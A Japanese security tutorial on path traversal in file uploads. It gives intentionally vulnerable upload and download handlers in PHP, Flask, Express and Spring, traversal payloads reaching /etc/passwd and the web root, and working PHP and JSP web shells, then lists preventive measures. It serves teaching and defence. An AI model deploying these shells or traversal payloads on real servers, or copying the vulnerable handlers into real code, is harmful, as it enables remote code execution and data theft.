WebVulnerabilities

ファイルアップロードにおけるパストラバーサル攻撃について(Webシェルをアップロードする場合)

概要

パストラバーサル(Path Traversal)攻撃では、ファイルアップロード機能を悪用して、攻撃者が意図したディレクトリにファイルを保存し、Webシェルなどの悪意のあるスクリプトをサーバーに配置します。この攻撃により、攻撃者は任意のコード実行やサーバーの完全な制御を得ることができます。サーバーがファイルのパスを適切に制御していない場合、ディレクトリの遡りを利用して任意の場所にファイルを配置することが可能です。

言語別の脆弱性を持つコードの例と攻撃手法

  1. PHP
    • 脆弱性を持つコードの例:
      if (isset($_FILES['file'])) {
          $uploadDir = 'uploads/';
          $fileName = $_FILES['file']['name'];
          move_uploaded_file($_FILES['file']['tmp_name'], $uploadDir . $fileName);
      }
      
    • 攻撃手法: 攻撃者は fileName../../var/www/html/shell.php のようなパスを指定して、WebルートにWebシェルを配置します。このWebシェルにアクセスすることで、サーバー上で任意のPHPコードを実行できるようになります。

    • 例: Webシェルの内容
      <?php system($_GET['cmd']); ?>
      
  2. Python (Flask/Django)
    • 脆弱性を持つコードの例:
      from flask import Flask, request, send_from_directory
      import os
      
      app = Flask(__name__)
      
      @app.route('/download/<path:filename>', methods=['GET'])
      def download_file(filename):
          return send_from_directory('uploads/', filename)
      
    • 攻撃手法: このコードでは、filename がユーザー入力に基づいて直接処理されています。攻撃者は、../../etc/passwd などのパスを入力することで、サーバー上の任意のファイルを取得できます。たとえば、以下のようなURLをリクエストします:
      http://example.com/download/../../etc/passwd
      

      これにより、システムのパスワードファイルをダウンロード可能となります。

  3. Node.js (Express)
    • 脆弱性を持つコードの例:
      const express = require('express');
      const path = require('path');
      const app = express();
      
      app.get('/download/:filename', (req, res) => {
          const filename = req.params.filename;
          const filePath = path.join(__dirname, 'uploads', filename);
          res.sendFile(filePath);
      });
      
      app.listen(3000);
      
    • 攻撃手法: Node.jsでも、filename にパストラバーサルを用いた入力(例: ../../../etc/passwd)を指定することで、サーバー上の任意のファイルにアクセスできます。以下のURLをリクエストします:
      http://example.com/download/../../../etc/passwd
      

      これにより、システムの重要なファイルが漏洩します。

  4. Java (Spring)
    • 脆弱性を持つコードの例:
      @PostMapping("/upload")
      public String handleFileUpload(@RequestParam("file") MultipartFile file) {
          String uploadDir = "uploads/";
          Path filePath = Paths.get(uploadDir + file.getOriginalFilename());
          Files.copy(file.getInputStream(), filePath);
          return "File uploaded!";
      }
      
    • 攻撃手法: 攻撃者は file.getOriginalFilename()../../../../var/www/html/shell.jsp のようなパスを設定し、WebルートにJSPベースのWebシェルを配置します。これにより、リモートで任意のJavaコードを実行可能です。

    • 例: Webシェルの内容
      <%
          String cmd = request.getParameter("cmd");
          Process p = Runtime.getRuntime().exec(cmd);
          java.io.InputStream in = p.getInputStream();
          int a = -1;
          while((a = in.read()) != -1) {
              out.print((char)a);
          }
          in.close();
      %>
      

言語による差異

全ての言語において、パストラバーサル攻撃は成立する可能性があります。サーバーがパスの操作において適切な制限を行わない場合、攻撃者は任意の場所にWebシェルを配置することができます。

PythonやNode.jsでアップロードしたWebシェルを直接実行するのは現実的には困難です。これは、Webサーバーの設定やアプリケーションの構成上、アップロードされたファイルが自動的にスクリプトとして実行されるケースが少ないためです。例えば、PHPやJavaであれば、Webサーバーが自動的にスクリプトを実行する設定になっていることが多いため、Webシェル攻撃が成立しやすいですが、PythonやNode.jsでは通常そのような挙動を取らないため、別のアプローチが必要になります。

防止策

  1. ファイルパスの正規化と検証 アップロードされたファイルのパスを正規化し、ディレクトリを遡るようなパターン(例: ../)が含まれていないか検査します。PHPなら realpath()、Javaなら Paths.get().normalize() などの方法で、安全なパスに変換します。

  2. 保存先ディレクトリの固定化 ファイルの保存先ディレクトリを固定し、絶対パスの指定やディレクトリを遡る操作を防ぎます。また、ファイル名をランダムな名前に変換し、元のファイル名に依存しない設計にします。

  3. ファイル名のサニタイズ ファイル名から特殊文字や不正なパス構造(例: ../)を除去し、安全なファイル名に変換します。

  4. ディレクトリのアクセス権制御 アップロードされたファイルがWebサーバーの公開ディレクトリに保存されないようにし、スクリプト実行権限を持たないディレクトリに配置します。

  5. 入力検証の強化 ファイル名やパスの入力に対して厳格な検証を行い、攻撃者が意図的にパスを操作できないようにします。